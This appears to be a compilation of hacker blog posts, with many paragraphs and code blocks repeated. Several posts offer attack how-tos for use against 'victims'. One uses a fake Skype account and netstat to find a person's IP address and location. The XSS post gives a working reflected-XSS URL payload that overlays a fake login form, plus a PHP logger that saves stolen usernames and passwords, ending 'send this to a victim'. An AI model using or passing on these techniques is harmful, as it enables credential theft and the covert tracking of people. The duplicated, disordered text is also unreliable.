HOW HACKERS GET ACCESS TO BANK ACCOUNTS - PROTECT YOURSELF
Its a big marvel to some when a simple question like "how hackers get access to bank accounts" is asked. This is because many of us have full trust in the security of out banks. In this short video I, with the help of the Zuoix Team explain how this can be possible within as short a time as 30 minutes.
In the video, we assume that the hacker has no access to any user's info and therefore is attacking the integrity of the bank itself not its users. We can only hope that this opens your eyes and help you choose a right and more secured bank.
You can comment or ask any question.
Thanks
In the video, we assume that the hacker has no access to any user's info and therefore is attacking the integrity of the bank itself not its users. We can only hope that this opens your eyes and help you choose a right and more secured bank.
You can comment or ask any question.
Thanks
RESEARCH - Hacking Smart phones with QR Codes
Hello and welcome once more. This morning I was wondering if an attacker can use QR codes to hack clients and unsuspecting people and I want to look at this from all angles so this post will be updated several times before the end of the day.
So what is a QR code? basically its a Quick Response code for more details on this check out This Post on Wikipedia The first thing I noticed is that since these codes can redirect to a web page, an attacker can use this to make a victim download malicious APK files which can harm their device.
SENDING SMS: That is not the only thing these codes can do, they can be programmed to send emails, send sms, makes calls etc (we will see into that later) which can be a harm. An attacker can draft an SMS enter the recipient number and send the code to a victim (who if not vigilant) can send an SMS which he did not type, a good example is the Picture below which you can scan to prove this. it was crafted by me and it sends and SMS to my direct line through your phone.
So what is a QR code? basically its a Quick Response code for more details on this check out This Post on Wikipedia The first thing I noticed is that since these codes can redirect to a web page, an attacker can use this to make a victim download malicious APK files which can harm their device.
SENDING SMS: That is not the only thing these codes can do, they can be programmed to send emails, send sms, makes calls etc (we will see into that later) which can be a harm. An attacker can draft an SMS enter the recipient number and send the code to a victim (who if not vigilant) can send an SMS which he did not type, a good example is the Picture below which you can scan to prove this. it was crafted by me and it sends and SMS to my direct line through your phone.
Try Scanning the code below
WIFI SETTINGS (Android ONLY): QR codes can also be used in cyber cafe settings to share wifi details, or can be used by an attacker to fool an unsuspecting victim to connect to his wifi so as to perform more advanced hacks. A simple setting was done at the Zuoix Labs (Video to be posted soon on vimeo) showed how easy it was to automate an attack ONCE the victim connected to the wifi. This could be used to extract contact details, bank credentials, SMS send and recieved as well as draft, locate the phone on map 24/7 inject custom code etc etc.
Scanning this code will connect you to a wifi
Brun0L3z 10 Most dangerous PHP Scripts
a few Minutes ago I posted on twitter that will be sharing my 10 Most dangerous php script and how to use them. I will not be giving any php tutorials in this post so I am assuming you can atleast read PHP and know how to install it and run it. If you cannot do these, please search google.
Here we go
1- TWO DOMAIN NAME SCANNER
I have always wanted to hack into corporate domains but the problems is that some two domains (02) fail to give the right info. who will guess that the solution lies in this script? Scan .cm .ng .tr etc domain names with this php code:
define("__USED_CHARS__", "abcdefghijklmnopqrstuvwxyz0123456789");
define("__CASE_SENSITIVE__", true); // Use string above or use uppercase / lowercase variant
$bf = new chargen(2); // new chargen object, length 2
$bf->generate("whois"); // generate chars and call whois function
function whois($str)
{
$domain = $str.".com";
$retval = shell_exec("whois $domain");
if (eregi("no match", $retval))
echo $domain." ist available\n";
else
echo $domain." is unavailable\n";
}
class chargen
{
private $chars = NULL;
private $maxlength = NULL;
protected $buffer = NULL;
function generate($mycallback = false)
{
foreach ($this->buffer as $char)
{
foreach ($this->chars as $nextchar)
{
$retval = $char.$nextchar;
$this->buffer[$retval] = $retval;
if ($mycallback && function_exists($mycallback))
$mycallback($retval);
else
echo $retval."\n";
}
}
if (strlen($retval) == $this->maxlength)
return;
$this->generate($mycallback);
}
function __construct($maxlength = 8)
{
$chars = array();
$this->buffer = array();
array_push($this->buffer, "");
for ($i = 0; $i < strlen(__USED_CHARS__); $i++)
{
$index = substr(__USED_CHARS__, $i, 1);
if (__CASE_SENSITIVE__)
{
$this->chars[$index] = $index;
}
else
{
$this->chars[strtolower($index)] = strtolower($index);
$this->chars[strtoupper($index)] = strtoupper($index);
}
}
$this->maxlength = $maxlength;
}
}
?>
Here we go
1- TWO DOMAIN NAME SCANNER
I have always wanted to hack into corporate domains but the problems is that some two domains (02) fail to give the right info. who will guess that the solution lies in this script? Scan .cm .ng .tr etc domain names with this php code:
define("__USED_CHARS__", "abcdefghijklmnopqrstuvwxyz0123456789");
define("__CASE_SENSITIVE__", true); // Use string above or use uppercase / lowercase variant
$bf = new chargen(2); // new chargen object, length 2
$bf->generate("whois"); // generate chars and call whois function
function whois($str)
{
$domain = $str.".com";
$retval = shell_exec("whois $domain");
if (eregi("no match", $retval))
echo $domain." ist available\n";
else
echo $domain." is unavailable\n";
}
class chargen
{
private $chars = NULL;
private $maxlength = NULL;
protected $buffer = NULL;
function generate($mycallback = false)
{
foreach ($this->buffer as $char)
{
foreach ($this->chars as $nextchar)
{
$retval = $char.$nextchar;
$this->buffer[$retval] = $retval;
if ($mycallback && function_exists($mycallback))
$mycallback($retval);
else
echo $retval."\n";
}
}
if (strlen($retval) == $this->maxlength)
return;
$this->generate($mycallback);
}
function __construct($maxlength = 8)
{
$chars = array();
$this->buffer = array();
array_push($this->buffer, "");
for ($i = 0; $i < strlen(__USED_CHARS__); $i++)
{
$index = substr(__USED_CHARS__, $i, 1);
if (__CASE_SENSITIVE__)
{
$this->chars[$index] = $index;
}
else
{
$this->chars[strtolower($index)] = strtolower($index);
$this->chars[strtoupper($index)] = strtoupper($index);
}
}
$this->maxlength = $maxlength;
}
}
?>
The PPPoE Dead Trap
Dear readers,
Today I am going to show you how to solve a very very very hard problem in a very simple manner. If you are using Linux and Ringo Cameroon PPPoE or if you are using PPPoE or any other method to connect to the internet and then all of a sudden the following happens then read on:
Then press enter and you are done. Solved. (this took me 7 days to figure out)
Thanks for reading
Today I am going to show you how to solve a very very very hard problem in a very simple manner. If you are using Linux and Ringo Cameroon PPPoE or if you are using PPPoE or any other method to connect to the internet and then all of a sudden the following happens then read on:
- You can browse some websites but not others
- you can ping a website but cannot open in browser
- you can telnet a website but cannot open in browser
- you can traceroute a website but does not open in browser
- filezilla loads and stops just before opening a remote directory
- your skype works while facebook chat or empathy messenger will not
- your internet suddenly slows down and sites fail to open
if any of the following is happening then you MIGHT be suffering from what plagued me for 7 days. The problem is not your DNS or iptables or anything, it is the size of MTU. Yes.. for some reason the MTU might change without notice (I do not fully understand this yet). So all we have to do is set you MTU to the normal size which for PPPoE connections is 1400.
So just open a terminal and type this command:
/sbin/ifconfig ppp0 mtu 1400
Then press enter and you are done. Solved. (this took me 7 days to figure out)
Thanks for reading
Get Skype user's IP address
In my search for victim's IP and came across a unique situation. My victim was a user running windows and had no website, will not give me his email and was totally non considerate. infact he knew I was a hacker and was on the watch out. so what do I do???
So what we can do if you find yourself in a similar position is to create a fake Skype account. make it fancy.. That should be easy to do. then search for the name of your victim. add them with a fancy intro so that they add you.
once they are online start a conversation (not necessarily voice) just some text is enough. then open a terminal and type:
if you were talking with more than 1 person. Just copy the IP and paste in www.ip2location.com to get the location so as to know the victim.
Thanks for reading. Your comments will be welcomed
So what we can do if you find yourself in a similar position is to create a fake Skype account. make it fancy.. That should be easy to do. then search for the name of your victim. add them with a fancy intro so that they add you.
once they are online start a conversation (not necessarily voice) just some text is enough. then open a terminal and type:
netstat -tupan | grep skype
if you were talking with more than 1 person. Just copy the IP and paste in www.ip2location.com to get the location so as to know the victim.
Thanks for reading. Your comments will be welcomed
XSS is more dangerous than you thought
Hello again and welcome to one of my new posts, today I will like to focus on the consequences of XSS (Cross Site Scripting) which affects more than 85% of the African websites I have scanned recently inclusing government websites and those of high tech companies too (some of them IT Companies).
So what is XSS? please check my other posts of follow my tweets with #afrohats or www.facebook.com/afrohats for details.
I have noticed that XSS is mostly exploitable using the Search form on websites. and there are basically three forms of this vulnerability:
Now send this to a victim and you get the username and password of an IT corporation....
Thanks for reading.
So what is XSS? please check my other posts of follow my tweets with #afrohats or www.facebook.com/afrohats for details.
I have noticed that XSS is mostly exploitable using the Search form on websites. and there are basically three forms of this vulnerability:
- Reflected XSS (show you you typed on the website)
- Stored XSS (processes and stores what you typed on a DB - Dangerous affair)
- DOM-based XSS (injected code changes document object model)
so what harm can XSS really do? Please follow this little illustration:
so first we visit a webpage like this:
Ok, Now we try to login with a random username and password:
As expected, the page will tell you that username / password is wrong or some other error message:
That is interesting... did you notice the address bar with a GET parameter for our error message? yiou did not? take another look please:
so let us try thr usual "URL attack" by changing the GET msg from the address bar to HelloWorld:
Hmmmmmmm.... interesting right?. But what is we play around with some HTML at the address bar? Lets try to bold the text with <b> </b> and see if is works:
Ok HTML is executed, what is we use javascripts' alert box? like: <script>alert(“Reflected XSS found”)</script> Lets see please:
whoa... that was executed too. so now our heads are spinning and thinking what we can do right now. We could send an email but this will not do much espercially if you are to hack coders, web builders, etc you kno all those hi-tech guys. but wait a minute, there is a better way out. since this is a secure login page, we could create a similar looking login form and using Javscript make the fake one stand ontop the real one.
so we start off by writing a similar form in basic html (which most guys can do now right?)
http://10.0.0.2/xss/index.php?msg=<center><h1>Secure User Login</h1><form name=login action=index.php method=post>Username:<input type=text name=username><br>Password:<input type=password name=password><br><input type=submit value=Login name=submit></form></center>so we get something like this:
But this looks foolish, anyone will know something is wrong. But wait till we add the javascripts' document.body.innerHTML as shown below (please take a good look at the address bar)
Great now the original form is lost. so now we add our fake form: so that the url now reads:
http://10.0.0.2/xss/index.php?msg=<script>document.body.innerHTML=”<center><h1>Secure User Login</h1><form name=login action=index.php method=post>Username:<input type=text name=username><br>Password:<input type=password name=password><br><input type=submit value=Login name=submit></form></center>”;</script>
Now our fake form is up but there is still a prob. How are we going to get the entered info?. well isn't PHP designed just for that? so all we do is make our fake form have an action= parameter and POST the data over HTTP with the following PHP code:
<?php$user = $_POST['username'];This means our html source now looks like this:
$pass = $_POST['password'];
$fh = fopen(“log.txt”, ‘a’) or die(“can’t open file”);
$stringData = “\nUsername:$user\nPassword:$pass\n”;
fwrite($fh, $stringData);
fclose($fh);
header(“Location: http://10.0.0.2/xss/index.php?msg=Invalid username/password”);
?>
Now send this to a victim and you get the username and password of an IT corporation....
Thanks for reading.


